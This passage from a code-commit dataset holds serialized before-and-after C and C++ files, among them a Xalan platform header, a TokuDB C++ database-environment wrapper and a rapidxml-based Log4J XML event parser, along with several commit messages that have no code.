International\n * Business Machines, Inc., http:\/\/www.ibm.com.  For more\n * information on the Apache Software Foundation, please see\n * <http:\/\/www.apache.org\/>.\n *\/\n#if !defined(VCPPDEFINITIONS_HEADER_GUARD_1357924680)\n#define VCPPDEFINITIONS_HEADER_GUARD_1357924680\n\n\n#pragma warning(disable: 4127 4251 4511 4512 4514 4702 4710 4711 4786 4097; error: 4150 4172 4238 4239 4715)\n\n\n\/\/ ---------------------------------------------------------------------------\n\/\/  A define in the build for each project is also used to control whether\n\/\/  the export keyword is from the project's viewpoint or the client's.\n\/\/  These defines provide the platform specific keywords that they need\n\/\/  to do this.\n\/\/ ---------------------------------------------------------------------------\n#define XALAN_PLATFORM_EXPORT     __declspec(dllexport)\n#define XALAN_PLATFORM_IMPORT     __declspec(dllimport)\n#define XALAN_PLATFORM_EXPORT_FUNCTION(T) T XALAN_PLATFORM_EXPORT\n#define XALAN_PLATFORM_IMPORT_FUNCTION(T) T XALAN_PLATFORM_IMPORT\n\n\n\n#define XALAN_NO_COVARIANT_RETURN_TYPE\n#define XALAN_LSTRSUPPORT\n#define XALAN_FULL_WCHAR_SUPPORT\n#define XALAN_RTTI_AVAILABLE\n#define XALAN_LITLE_ENDIAN\n#define XALAN_NEWLINE_IS_CRLF\n\n\n\n#endif\t\/\/ VCPPDEFINITIONS_HEADER_GUARD_1357924680\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>FIXED: buy15<commit_after><|endoftext|>"}
{"text":"<commit_before><commit_msg>Use American spelling<commit_after><|endoftext|>"}
{"text":"<commit_before><commit_msg>fix, memory leak<commit_after><|endoftext|>"}
{"text":"<commit_before>#include <stdarg.h>\n#include <assert.h>\n#include <errno.h>\n#include <db_cxx.h>\n\nDbEnv::DbEnv (u_int32_t flags)\n    : do_no_exceptions((flags&DB_CXX_NO_EXCEPTIONS)!=0),\n      errcall(NULL)\n{\n    int ret = db_env_create(&the_env, flags & ~DB_CXX_NO_EXCEPTIONS);\n    assert(ret==0); \/\/ should do an error.\n    the_env->api1_internal = this;\n}\n\nDbEnv::DbEnv(DB_ENV *env, u_int32_t flags)\n    : do_no_exceptions((flags&DB_CXX_NO_EXCEPTIONS)!=0), _error_stream(0)\n{\n    the_env = env;\n    if (env == 0) {\n\tDB_ENV *new_env;\n\tint ret = db_env_create(&new_env, flags & ~DB_CXX_NO_EXCEPTIONS);\n\tassert(ret==0); \/\/ should do an error.\n\tthe_env = new_env;\n    }\n    the_env->api1_internal = this;\n}\n\n\/\/ If still open, close it.  In most cases, the caller should call close explicitly so that they can catch the exceptions.\nDbEnv::~DbEnv(void)\n{\n    if (the_env!=NULL) {\n\t(void)the_env->close(the_env, 0);\n\tthe_env = 0;\n    }\n}\n\nint DbEnv::close(u_int32_t flags) {\n    int ret = EINVAL;\n    if (the_env)\n        ret = the_env->close(the_env, flags);\n    the_env = 0; \/* get rid of the env ref, so we don't touch it (even if we failed, or when the destructor is called) *\/\n    return maybe_throw_error(ret);\n}\n\nint DbEnv::open(const char *home, u_int32_t flags, int mode) {\n    int ret = the_env->open(the_env, home, flags, mode);\n    return maybe_throw_error(ret);\n}\n\nint DbEnv::set_cachesize(u_int32_t gbytes, u_int32_t bytes, int ncache) {\n    int ret = the_env->set_cachesize(the_env, gbytes, bytes, ncache);\n    return maybe_throw_error(ret);\n}\n\nint DbEnv::set_flags(u_int32_t flags, int onoff) {\n    int ret = the_env->set_flags(the_env, flags, onoff);\n    return maybe_throw_error(ret);\n}\n\n#if DB_VERSION_MAJOR<4 || (DB_VERSION_MAJOR==4 && DB_VERSION_MINOR<=4)\nint DbEnv::set_lk_max(u_int32_t flags) {\n    int ret = the_env->set_lk_max(the_env, flags);\n    return maybe_throw_error(ret);\n}\n#endif\n\nint DbEnv::txn_begin(DbTxn *parenttxn, DbTxn **txnp, u_int32_t flags) {\n    DB_TXN *txn;\n    int ret = the_env->txn_begin(the_env, parenttxn->get_DB_TXN(), &txn, flags);\n    if (ret==0) {\n\t*txnp = new DbTxn(txn);\n    }\n    return maybe_throw_error(ret);\n}\n\nint DbEnv::set_data_dir(const char *dir) {\n    int ret = the_env->set_data_dir(the_env, dir);\n    return maybe_throw_error(ret);\n}\n\nvoid DbEnv::set_errpfx(const char *errpfx) {\n    the_env->set_errpfx(the_env, errpfx);\n}\n\nint DbEnv::maybe_throw_error(int err, DbEnv *env, int no_exceptions) throw (DbException) {\n    if (err==0 || err==DB_NOTFOUND || err==DB_KEYEXIST || err==DB_KEYEMPTY) return err;\n    if (no_exceptions) return err;\n    if (err==DB_LOCK_DEADLOCK) {\n\tDbDeadlockException e(env);\n\tthrow e;\n    } else {\n\tDbException e(err);\n\te.set_env(env);\n\tthrow e;\n    }\n}\n\nint DbEnv::maybe_throw_error(int err) throw (DbException) {\n    return maybe_throw_error(err, this, do_no_exceptions);\n}\n\nextern \"C\" {\n    void toku_do_error_all_cases(const DB_ENV * env, int error, int, int, const char *fmt, va_list ap);\n};\n\nvoid DbEnv::err(int error, const char *fmt, ...) {\n    va_list ap;\n    va_start(ap, fmt);\n    toku_do_error_all_cases(the_env, error, 1, 1, fmt, ap);\n    va_end(ap);\n}\n\nvoid DbEnv::set_errfile(FILE *errfile) {\n    the_env->set_errfile(the_env, errfile);\n}\n\nint DbEnv::get_flags(u_int32_t *flagsp) {\n    int ret = the_env->get_flags(the_env, flagsp);\n    return maybe_throw_error(ret);\n}\n\nextern \"C\" void toku_db_env_errcall_c(const DB_ENV *dbenv_c, const char *errpfx, const char *msg) {\n    DbEnv *dbenv = (DbEnv *) dbenv_c->api1_internal;\n    dbenv->errcall(dbenv, errpfx, msg);\n}\n\nvoid DbEnv::set_errcall(void (*db_errcall_fcn)(const DbEnv *, const char *, const char *)) {\n    errcall = db_errcall_fcn;\n    the_env->set_errcall(the_env, toku_db_env_errcall_c);\n}\n\nextern \"C\" void toku_db_env_error_stream_c(const DB_ENV *dbenv_c, const char *errpfx, const char *msg) {\n    DbEnv *dbenv = (DbEnv *) dbenv_c->api1_internal;\n    if (dbenv->_error_stream) {\n        if (errpfx) *(dbenv->_error_stream) << errpfx;\n        if (msg) *(dbenv->_error_stream) << \":\" << msg << \"\\n\";\n    }\n}\n\nvoid DbEnv::set_error_stream(std::ostream *new_error_stream) {\n    _error_stream = new_error_stream;\n    the_env->set_errcall(the_env, toku_db_env_error_stream_c);\n}\n\n\/\/ locking not yet implemented\n\nint DbEnv::set_lk_max_locks(u_int32_t max_locks) {\n    int ret = the_env->set_lk_max_locks(the_env, max_locks);\n    return maybe_throw_error(ret);\n}\n\nint DbEnv::set_lk_max_lockers(u_int32_t max_lockers) {\n    return 0;\n}\n\nint DbEnv::set_lk_max_objects(u_int32_t max_objects) {\n    return 0;\n}\n<commit_msg>Addresses #378 Propagate refactored error handling to C++ API.<commit_after>#include <stdarg.h>\n#include <assert.h>\n#include <errno.h>\n#include \"..\/newbrt\/brttypes.h\"\n#include <db_cxx.h>\n\nDbEnv::DbEnv (u_int32_t flags)\n    : do_no_exceptions((flags&DB_CXX_NO_EXCEPTIONS)!=0),\n      errcall(NULL)\n{\n    int ret = db_env_create(&the_env, flags & ~DB_CXX_NO_EXCEPTIONS);\n    assert(ret==0); \/\/ should do an error.\n    the_env->api1_internal = this;\n}\n\nDbEnv::DbEnv(DB_ENV *env, u_int32_t flags)\n    : do_no_exceptions((flags&DB_CXX_NO_EXCEPTIONS)!=0), _error_stream(0)\n{\n    the_env = env;\n    if (env == 0) {\n\tDB_ENV *new_env;\n\tint ret = db_env_create(&new_env, flags & ~DB_CXX_NO_EXCEPTIONS);\n\tassert(ret==0); \/\/ should do an error.\n\tthe_env = new_env;\n    }\n    the_env->api1_internal = this;\n}\n\n\/\/ If still open, close it.  In most cases, the caller should call close explicitly so that they can catch the exceptions.\nDbEnv::~DbEnv(void)\n{\n    if (the_env!=NULL) {\n\t(void)the_env->close(the_env, 0);\n\tthe_env = 0;\n    }\n}\n\nint DbEnv::close(u_int32_t flags) {\n    int ret = EINVAL;\n    if (the_env)\n        ret = the_env->close(the_env, flags);\n    the_env = 0; \/* get rid of the env ref, so we don't touch it (even if we failed, or when the destructor is called) *\/\n    return maybe_throw_error(ret);\n}\n\nint DbEnv::open(const char *home, u_int32_t flags, int mode) {\n    int ret = the_env->open(the_env, home, flags, mode);\n    return maybe_throw_error(ret);\n}\n\nint DbEnv::set_cachesize(u_int32_t gbytes, u_int32_t bytes, int ncache) {\n    int ret = the_env->set_cachesize(the_env, gbytes, bytes, ncache);\n    return maybe_throw_error(ret);\n}\n\nint DbEnv::set_flags(u_int32_t flags, int onoff) {\n    int ret = the_env->set_flags(the_env, flags, onoff);\n    return maybe_throw_error(ret);\n}\n\n#if DB_VERSION_MAJOR<4 || (DB_VERSION_MAJOR==4 && DB_VERSION_MINOR<=4)\nint DbEnv::set_lk_max(u_int32_t flags) {\n    int ret = the_env->set_lk_max(the_env, flags);\n    return maybe_throw_error(ret);\n}\n#endif\n\nint DbEnv::txn_begin(DbTxn *parenttxn, DbTxn **txnp, u_int32_t flags) {\n    DB_TXN *txn;\n    int ret = the_env->txn_begin(the_env, parenttxn->get_DB_TXN(), &txn, flags);\n    if (ret==0) {\n\t*txnp = new DbTxn(txn);\n    }\n    return maybe_throw_error(ret);\n}\n\nint DbEnv::set_data_dir(const char *dir) {\n    int ret = the_env->set_data_dir(the_env, dir);\n    return maybe_throw_error(ret);\n}\n\nvoid DbEnv::set_errpfx(const char *errpfx) {\n    the_env->set_errpfx(the_env, errpfx);\n}\n\nint DbEnv::maybe_throw_error(int err, DbEnv *env, int no_exceptions) throw (DbException) {\n    if (err==0 || err==DB_NOTFOUND || err==DB_KEYEXIST || err==DB_KEYEMPTY) return err;\n    if (no_exceptions) return err;\n    if (err==DB_LOCK_DEADLOCK) {\n\tDbDeadlockException e(env);\n\tthrow e;\n    } else {\n\tDbException e(err);\n\te.set_env(env);\n\tthrow e;\n    }\n}\n\nint DbEnv::maybe_throw_error(int err) throw (DbException) {\n    return maybe_throw_error(err, this, do_no_exceptions);\n}\n\nextern \"C\" {\nvoid toku_ydb_error_all_cases(const DB_ENV * env, \n                              int error, \n                              BOOL include_stderrstring, \n                              BOOL use_stderr_if_nothing_else, \n                              const char *fmt, va_list ap);\n};\n\nvoid DbEnv::err(int error, const char *fmt, ...) {\n    va_list ap;\n    va_start(ap, fmt);\n    toku_ydb_error_all_cases(the_env, error, TRUE, TRUE, fmt, ap);\n    va_end(ap);\n}\n\nvoid DbEnv::set_errfile(FILE *errfile) {\n    the_env->set_errfile(the_env, errfile);\n}\n\nint DbEnv::get_flags(u_int32_t *flagsp) {\n    int ret = the_env->get_flags(the_env, flagsp);\n    return maybe_throw_error(ret);\n}\n\nextern \"C\" void toku_db_env_errcall_c(const DB_ENV *dbenv_c, const char *errpfx, const char *msg) {\n    DbEnv *dbenv = (DbEnv *) dbenv_c->api1_internal;\n    dbenv->errcall(dbenv, errpfx, msg);\n}\n\nvoid DbEnv::set_errcall(void (*db_errcall_fcn)(const DbEnv *, const char *, const char *)) {\n    errcall = db_errcall_fcn;\n    the_env->set_errcall(the_env, toku_db_env_errcall_c);\n}\n\nextern \"C\" void toku_db_env_error_stream_c(const DB_ENV *dbenv_c, const char *errpfx, const char *msg) {\n    DbEnv *dbenv = (DbEnv *) dbenv_c->api1_internal;\n    if (dbenv->_error_stream) {\n        if (errpfx) *(dbenv->_error_stream) << errpfx;\n        if (msg) *(dbenv->_error_stream) << \":\" << msg << \"\\n\";\n    }\n}\n\nvoid DbEnv::set_error_stream(std::ostream *new_error_stream) {\n    _error_stream = new_error_stream;\n    the_env->set_errcall(the_env, toku_db_env_error_stream_c);\n}\n\n\/\/ locking not yet implemented\n\nint DbEnv::set_lk_max_locks(u_int32_t max_locks) {\n    int ret = the_env->set_lk_max_locks(the_env, max_locks);\n    return maybe_throw_error(ret);\n}\n\nint DbEnv::set_lk_max_lockers(u_int32_t max_lockers) {\n    return 0;\n}\n\nint DbEnv::set_lk_max_objects(u_int32_t max_objects) {\n    return 0;\n}\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>added PowerRequestSystemRequired to prevent laptop from sleeping<commit_after><|endoftext|>"}
{"text":"<commit_before><commit_msg>X86: Compute PCI config addresses correctly.<commit_after><|endoftext|>"}
{"text":"<commit_before><commit_msg>base: Tag API variables in version.cc<commit_after><|endoftext|>"}
{"text":"<commit_before><commit_msg>#60 : Implementation : logging for command execution<commit_after><|endoftext|>"}
{"text":"<commit_before>﻿#include <string.h>\n#include <vector>\n#include <stdio.h>\n#include <rapidxml\\rapidxml.hpp>\n#include <Windows.h>\nextern \"C\"\n{\n#include \"Log4JParserC.h\"\n}\n\nconst char LogFragmentStart_[] = \"<log4j:event\";\n\nconst char TagEvent_[] = \"log4j:event\";\nconst size_t TagEventSize_ = sizeof TagEvent_ \/ sizeof TagEvent_[0] - 1U;\n\nconst char AttrLevel_[] = \"level\";\nconst size_t AttrLevelSize_ = sizeof AttrLevel_ \/ sizeof AttrLevel_[0] - 1U;\n\nconst char AttrLogger_[] = \"logger\";\nconst size_t AttrLoggerSize_ = sizeof AttrLogger_ \/ sizeof AttrLogger_[0] - 1U;\n\nconst char AttrThread_[] = \"thread\";\nconst size_t AttrThreadSize_ = sizeof AttrThread_ \/ sizeof AttrThread_[0] - 1U;\n\nconst char AttrTimestamp_[] = \"timestamp\";\nconst size_t AttrTimestampSize_ = sizeof AttrTimestamp_ \/ sizeof AttrTimestamp_[0] - 1U;\n\nconst char TagMessage_[] = \"log4j:message\";\nconst size_t TagMessageSize_ = sizeof TagMessage_ \/ sizeof TagMessage_[0] - 1U;\n\nconst char TagThrowable_[] = \"log4j:throwable\";\nconst size_t TagThrowableSize_ = sizeof TagThrowable_ \/ sizeof TagThrowable_[0] - 1U;\n\nconst char TagProperties_[] = \"log4j:properties\";\nconst size_t TagPropertiesSize_ = sizeof TagProperties_ \/ sizeof TagProperties_[0] - 1U;\n\nconst char TagData_[] = \"log4j:data\";\nconst size_t TagDataSize_ = sizeof TagData_ \/ sizeof TagData_[0] - 1U;\n\nconst char AttrDataName_[] = \"name\";\nconst size_t AttrDataNameSize_ = sizeof AttrDataName_ \/ sizeof AttrDataName_[0] - 1U;\n\nconst char AttrDataValue_[] = \"value\";\nconst size_t AttrDataValueSize_ = sizeof AttrDataValue_ \/ sizeof AttrDataValue_[0] - 1U;\n\nstatic void GetAttributeValue_ (const rapidxml::xml_attribute<char> *source, const char **value, size_t *size);\nstatic void GetNodeValue_ (rapidxml::xml_node<char> *source, const char **value, size_t *size);\nstatic int64_t ParseTimestamp_ (const char *value, const size_t valueSize);\n\nLOG4JPARSERC_API void __cdecl Log4JEventLevel (const Log4JEvent log4JEvent, const char **value, size_t *size)\n{\n    auto node = (const rapidxml::xml_node<char> *) log4JEvent;\n    auto xml = node->first_attribute (AttrLevel_, AttrLevelSize_);\n    GetAttributeValue_ (xml, value, size);\n}\n\nLOG4JPARSERC_API void __cdecl Log4JEventLogger (const Log4JEvent log4JEvent, const char **value, size_t *size)\n{\n    auto node = (const rapidxml::xml_node<char> *) log4JEvent;\n    auto xml = node->first_attribute (AttrLogger_, AttrLoggerSize_);\n    GetAttributeValue_ (xml, value, size);\n}\n\nLOG4JPARSERC_API void __cdecl Log4JEventThread (const Log4JEvent log4JEvent, const char **value, size_t *size)\n{\n    auto node = (const rapidxml::xml_node<char> *) log4JEvent;\n    auto xml = node->first_attribute (AttrThread_, AttrThreadSize_);\n    GetAttributeValue_ (xml, value, size);\n}\n\nLOG4JPARSERC_API int64_t __cdecl Log4JEventTimestamp (const Log4JEvent log4JEvent)\n{\n    auto node = (const rapidxml::xml_node<char> *) log4JEvent;\n    auto xml = node->first_attribute (AttrTimestamp_, AttrTimestampSize_);\n    auto result = ParseTimestamp_ (xml->value (), xml->value_size ());\n\n    return result;\n}\n\nLOG4JPARSERC_API void __cdecl Log4JEventMessage (const Log4JEvent log4JEvent, const char **value, size_t *size)\n{\n    auto node = (rapidxml::xml_node<char> *) log4JEvent;\n    auto xml = node->first_node (TagMessage_, TagMessageSize_);\n    GetNodeValue_ (xml, value, size);\n}\n\nLOG4JPARSERC_API void __cdecl Log4JEventThrowable (const Log4JEvent log4JEvent, const char **value, size_t *size)\n{\n    auto node = (rapidxml::xml_node<char> *) log4JEvent;\n    auto xml = node->first_node (TagThrowable_, TagThrowableSize_);\n    GetNodeValue_ (xml, value, size);\n}\n\nLOG4JPARSERC_API size_t Log4JEventProperties (const Log4JEvent log4JEvent, size_t skip, Log4JEventProperty *properties, size_t propertiesSize)\n{\n    if (properties == nullptr)\n    {\n        propertiesSize = 0U;\n    }\n    size_t actualProperties = 0U;\n\n    auto node = (rapidxml::xml_node<char> *) log4JEvent;\n    auto propertiesNode = node->first_node (TagProperties_, TagPropertiesSize_);\n    if (propertiesNode != nullptr)\n    {\n        auto dataNode = propertiesNode->first_node (TagData_, TagDataSize_);\n        while (dataNode != nullptr)\n        {\n            ++actualProperties;\n\n            if (skip != 0U)\n            {\n                --skip;\n            }\n            else if (propertiesSize != 0U)\n            {\n                auto name = dataNode->first_attribute (AttrDataName_, AttrDataNameSize_);\n                GetAttributeValue_ (name, &properties->name, &properties->nameSize);\n\n                auto value = dataNode->first_attribute (AttrDataValue_, AttrDataValueSize_);\n                GetAttributeValue_ (value, &properties->value, &properties->valueSize);\n\n                ++properties;\n                --propertiesSize;\n            }\n\n            dataNode = dataNode->next_sibling (TagData_, TagDataSize_);\n        }\n    }\n\n    return actualProperties;\n}\n\nvoid GetAttributeValue_ (const rapidxml::xml_attribute<char> *source, const char **value, size_t *size)\n{\n    if (source)\n    {\n        *value = source->value ();\n        *size = source->value_size ();\n    }\n    else\n    {\n        *value = nullptr;\n        *size = 0U;\n    }\n}\n\nvoid GetNodeValue_ (rapidxml::xml_node<char> *source, const char **value, size_t *size)\n{\n    if (source)\n    {\n        auto firstChild = source->first_node ();\n        if (!firstChild)\n        {\n            *value = source->value ();\n            *size = source->value_size ();\n        }\n        else if (firstChild == source->last_node ())\n        {\n            *value = firstChild->value ();\n            *size = firstChild->value_size ();\n        }\n        else\n        {\n            auto bufferLength = 0U;\n            for (auto node = firstChild; node; node = node->next_sibling ())\n            {\n                bufferLength += node->value_size ();\n            }\n\n            auto bufferSize = bufferLength + 1;\n            auto buffer = source->document ()->allocate_string (nullptr, bufferSize);\n            buffer[bufferSize - 1] = '\\0';\n\n            auto concatHead = buffer;\n            auto bufferFreeSize = bufferSize;\n            for (auto node = firstChild; node; node = node->next_sibling ())\n            {\n                auto nodeValue = node->value ();\n                auto nodeValueSize = node->value_size ();\n\n                strncpy_s (concatHead, bufferFreeSize, nodeValue, nodeValueSize);\n                auto copied = min (bufferFreeSize, nodeValueSize);\n\n                bufferFreeSize -= copied;\n                concatHead += copied;\n            }\n\n            source->remove_all_nodes ();\n            source->value (buffer, bufferLength);\n\n            *value = buffer;\n            *size = bufferLength;\n        }\n    }\n    else\n    {\n        *value = nullptr;\n        *size = 0U;\n    }\n}\n\nint64_t ParseTimestamp_ (const char *value, const size_t valueSize)\n{\n    int64_t result = 0L;\n\n    for (size_t i = 0; i < valueSize; ++i)\n    {\n        int64_t digit = value[i] - '0';\n        result = result * 10L + digit;\n    }\n\n    return result;\n}\n\nstruct Log4JEventSource_\n{\n    std::vector<const rapidxml::xml_document<char> *> *Docs;\n    char *OwnXmlString;\n};\n\nstatic Log4JStatus Log4JEventSourceInitXmlStringImpl (Log4JEventSource **self, char *xmlString, bool ownString)\n{\n    *self = nullptr;\n    auto ownedStringPtr = ownString ? xmlString : nullptr;\n\n    auto status = Log4JStatus::E_SUCCESS;\n\n    auto nextPart = xmlString;\n    auto docs = new std::vector<const rapidxml::xml_document<char> *> ();\n    while (nextPart)\n    {\n        auto doc = new rapidxml::xml_document<char> ();\n        docs->push_back (doc);\n        try\n        {\n            doc->parse<rapidxml::parse_default> (nextPart);\n            nextPart = nullptr;\n        }\n        catch (const rapidxml::parse_error &ex)\n        {\n            status = Log4JStatus::E_DOCUMENT_ERRORS;\n            nextPart = strstr (ex.where<char> (), LogFragmentStart_);\n        }\n        catch (...)\n        {\n            for (auto docsIter = docs->begin (); docsIter != docs->end (); ++docsIter)\n            {\n                delete *docsIter;\n            }\n            throw;\n        }\n    }\n\n    Log4JEventSource *result = (Log4JEventSource *) malloc (sizeof *result);\n    if (result == nullptr)\n    {\n        for (auto docsIter = docs->begin (); docsIter != docs->end (); ++docsIter)\n        {\n            delete *docsIter;\n        }\n        *self = nullptr;\n        return Log4JStatus::E_MEMORY_ERROR;\n    }\n    *result = { docs, ownedStringPtr };\n\n    *self = result;\n\n    return status;\n}\n\nLOG4JPARSERC_API Log4JStatus __cdecl Log4JEventSourceInitXmlString (Log4JEventSource **self, char *xmlString)\n{\n    return Log4JEventSourceInitXmlStringImpl (self, xmlString, false);\n}\n\nLOG4JPARSERC_API void __cdecl Log4JEventSourceDestroy (Log4JEventSource *self)\n{\n    auto docs = self->Docs;\n    for (auto docsIter = docs->begin (); docsIter != docs->end (); ++docsIter)\n    {\n        delete *docsIter;\n    }\n    docs->clear ();\n    delete docs;\n\n    if (self->OwnXmlString)\n    {\n        free (self->OwnXmlString);\n    }\n\n    *self = { nullptr, nullptr };\n    free (self);\n}\n\nstatic size_t IndexOfCurrentDocument (const std::vector<const rapidxml::xml_document<char> *> *docs, const rapidxml::xml_node<char> *node)\n{\n    auto currentDocument = node->document ();\n    auto docsSize = docs->size ();\n    for (size_t i = 0; i < docsSize; ++i)\n    {\n        if (docs->at (i) == currentDocument)\n        {\n            return i;\n        }\n    }\n\n    return docsSize;\n}\n\nLOG4JPARSERC_API Log4JEvent __cdecl Log4JEventSourceFirst (const Log4JEventSource *self)\n{\n    auto node = self->Docs->front ()->first_node (TagEvent_, TagEventSize_);\n    return node;\n}\n\nLOG4JPARSERC_API Log4JEvent __cdecl Log4JEventSourceNext (const Log4JEventSource *self, const Log4JEvent event)\n{\n    auto docs = self->Docs;\n    auto node = (rapidxml::xml_node<char> *) event;\n\n    auto nextNode = node->next_sibling (TagEvent_, TagEventSize_);\n    if (!nextNode)\n    {\n        auto currentDocumentIndex = IndexOfCurrentDocument (self->Docs, node);\n        auto nextDocumentIndex = currentDocumentIndex + 1;\n        if (nextDocumentIndex < docs->size ())\n        {\n            nextNode = docs->at (nextDocumentIndex)->first_node (TagEvent_, TagEventSize_);\n        }\n    }\n\n    return nextNode;\n}\n\nLOG4JPARSERC_API Log4JEvent __cdecl Log4JEventSourceLast (const Log4JEventSource *self)\n{\n    auto node = self->Docs->back ()->last_node (TagEvent_, TagEventSize_);\n    return node;\n}\n\nLOG4JPARSERC_API Log4JEvent __cdecl Log4JEventSourcePrev (const Log4JEventSource *self, const Log4JEvent event)\n{\n    auto docs = self->Docs;\n    auto node = (rapidxml::xml_node<char> *) event;\n\n    auto prevNode = node->previous_sibling (TagEvent_, TagEventSize_);\n    if (!prevNode)\n    {\n        auto currentDocumentIndex = IndexOfCurrentDocument (self->Docs, node);\n        auto prevDocumentIndex = currentDocumentIndex - 1;\n        \/\/ if currentDocumentIndex == 0 then prevDocumentIndex would overflow to SIZE_MAX\n        if (prevDocumentIndex < docs->size ())\n        {\n            prevNode = docs->at (prevDocumentIndex)->first_node (TagEvent_, TagEventSize_);\n        }\n    }\n\n    return prevNode;\n}\n<commit_msg>Fixed conversion from unsigned int to size_t when compiling to x64.<commit_after>﻿#include <string.h>\n#include <vector>\n#include <stdio.h>\n#include <rapidxml\\rapidxml.hpp>\n#include <Windows.h>\nextern \"C\"\n{\n#include \"Log4JParserC.h\"\n}\n\nconst char LogFragmentStart_[] = \"<log4j:event\";\n\nconst char TagEvent_[] = \"log4j:event\";\nconst size_t TagEventSize_ = sizeof TagEvent_ \/ sizeof TagEvent_[0] - 1U;\n\nconst char AttrLevel_[] = \"level\";\nconst size_t AttrLevelSize_ = sizeof AttrLevel_ \/ sizeof AttrLevel_[0] - 1U;\n\nconst char AttrLogger_[] = \"logger\";\nconst size_t AttrLoggerSize_ = sizeof AttrLogger_ \/ sizeof AttrLogger_[0] - 1U;\n\nconst char AttrThread_[] = \"thread\";\nconst size_t AttrThreadSize_ = sizeof AttrThread_ \/ sizeof AttrThread_[0] - 1U;\n\nconst char AttrTimestamp_[] = \"timestamp\";\nconst size_t AttrTimestampSize_ = sizeof AttrTimestamp_ \/ sizeof AttrTimestamp_[0] - 1U;\n\nconst char TagMessage_[] = \"log4j:message\";\nconst size_t TagMessageSize_ = sizeof TagMessage_ \/ sizeof TagMessage_[0] - 1U;\n\nconst char TagThrowable_[] = \"log4j:throwable\";\nconst size_t TagThrowableSize_ = sizeof TagThrowable_ \/ sizeof TagThrowable_[0] - 1U;\n\nconst char TagProperties_[] = \"log4j:properties\";\nconst size_t TagPropertiesSize_ = sizeof TagProperties_ \/ sizeof TagProperties_[0] - 1U;\n\nconst char TagData_[] = \"log4j:data\";\nconst size_t TagDataSize_ = sizeof TagData_ \/ sizeof TagData_[0] - 1U;\n\nconst char AttrDataName_[] = \"name\";\nconst size_t AttrDataNameSize_ = sizeof AttrDataName_ \/ sizeof AttrDataName_[0] - 1U;\n\nconst char AttrDataValue_[] = \"value\";\nconst size_t AttrDataValueSize_ = sizeof AttrDataValue_ \/ sizeof AttrDataValue_[0] - 1U;\n\nstatic void GetAttributeValue_ (const rapidxml::xml_attribute<char> *source, const char **value, size_t *size);\nstatic void GetNodeValue_ (rapidxml::xml_node<char> *source, const char **value, size_t *size);\nstatic int64_t ParseTimestamp_ (const char *value, const size_t valueSize);\n\nLOG4JPARSERC_API void __cdecl Log4JEventLevel (const Log4JEvent log4JEvent, const char **value, size_t *size)\n{\n    auto node = (const rapidxml::xml_node<char> *) log4JEvent;\n    auto xml = node->first_attribute (AttrLevel_, AttrLevelSize_);\n    GetAttributeValue_ (xml, value, size);\n}\n\nLOG4JPARSERC_API void __cdecl Log4JEventLogger (const Log4JEvent log4JEvent, const char **value, size_t *size)\n{\n    auto node = (const rapidxml::xml_node<char> *) log4JEvent;\n    auto xml = node->first_attribute (AttrLogger_, AttrLoggerSize_);\n    GetAttributeValue_ (xml, value, size);\n}\n\nLOG4JPARSERC_API void __cdecl Log4JEventThread (const Log4JEvent log4JEvent, const char **value, size_t *size)\n{\n    auto node = (const rapidxml::xml_node<char> *) log4JEvent;\n    auto xml = node->first_attribute (AttrThread_, AttrThreadSize_);\n    GetAttributeValue_ (xml, value, size);\n}\n\nLOG4JPARSERC_API int64_t __cdecl Log4JEventTimestamp (const Log4JEvent log4JEvent)\n{\n    auto node = (const rapidxml::xml_node<char> *) log4JEvent;\n    auto xml = node->first_attribute (AttrTimestamp_, AttrTimestampSize_);\n    auto result = ParseTimestamp_ (xml->value (), xml->value_size ());\n\n    return result;\n}\n\nLOG4JPARSERC_API void __cdecl Log4JEventMessage (const Log4JEvent log4JEvent, const char **value, size_t *size)\n{\n    auto node = (rapidxml::xml_node<char> *) log4JEvent;\n    auto xml = node->first_node (TagMessage_, TagMessageSize_);\n    GetNodeValue_ (xml, value, size);\n}\n\nLOG4JPARSERC_API void __cdecl Log4JEventThrowable (const Log4JEvent log4JEvent, const char **value, size_t *size)\n{\n    auto node = (rapidxml::xml_node<char> *) log4JEvent;\n    auto xml = node->first_node (TagThrowable_, TagThrowableSize_);\n    GetNodeValue_ (xml, value, size);\n}\n\nLOG4JPARSERC_API size_t Log4JEventProperties (const Log4JEvent log4JEvent, size_t skip, Log4JEventProperty *properties, size_t propertiesSize)\n{\n    if (properties == nullptr)\n    {\n        propertiesSize = 0U;\n    }\n    size_t actualProperties = 0U;\n\n    auto node = (rapidxml::xml_node<char> *) log4JEvent;\n    auto propertiesNode = node->first_node (TagProperties_, TagPropertiesSize_);\n    if (propertiesNode != nullptr)\n    {\n        auto dataNode = propertiesNode->first_node (TagData_, TagDataSize_);\n        while (dataNode != nullptr)\n        {\n            ++actualProperties;\n\n            if (skip != 0U)\n            {\n                --skip;\n            }\n            else if (propertiesSize != 0U)\n            {\n                auto name = dataNode->first_attribute (AttrDataName_, AttrDataNameSize_);\n                GetAttributeValue_ (name, &properties->name, &properties->nameSize);\n\n                auto value = dataNode->first_attribute (AttrDataValue_, AttrDataValueSize_);\n                GetAttributeValue_ (value, &properties->value, &properties->valueSize);\n\n                ++properties;\n                --propertiesSize;\n            }\n\n            dataNode = dataNode->next_sibling (TagData_, TagDataSize_);\n        }\n    }\n\n    return actualProperties;\n}\n\nvoid GetAttributeValue_ (const rapidxml::xml_attribute<char> *source, const char **value, size_t *size)\n{\n    if (source)\n    {\n        *value = source->value ();\n        *size = source->value_size ();\n    }\n    else\n    {\n        *value = nullptr;\n        *size = 0U;\n    }\n}\n\nvoid GetNodeValue_ (rapidxml::xml_node<char> *source, const char **value, size_t *size)\n{\n    if (source)\n    {\n        auto firstChild = source->first_node ();\n        if (!firstChild)\n        {\n            *value = source->value ();\n            *size = source->value_size ();\n        }\n        else if (firstChild == source->last_node ())\n        {\n            *value = firstChild->value ();\n            *size = firstChild->value_size ();\n        }\n        else\n        {\n            size_t bufferLength = 0U;\n            for (auto node = firstChild; node; node = node->next_sibling ())\n            {\n                bufferLength += node->value_size ();\n            }\n\n            auto bufferSize = bufferLength + 1;\n            auto buffer = source->document ()->allocate_string (nullptr, bufferSize);\n            buffer[bufferSize - 1] = '\\0';\n\n            auto concatHead = buffer;\n            auto bufferFreeSize = bufferSize;\n            for (auto node = firstChild; node; node = node->next_sibling ())\n            {\n                auto nodeValue = node->value ();\n                auto nodeValueSize = node->value_size ();\n\n                strncpy_s (concatHead, bufferFreeSize, nodeValue, nodeValueSize);\n                auto copied = min (bufferFreeSize, nodeValueSize);\n\n                bufferFreeSize -= copied;\n                concatHead += copied;\n            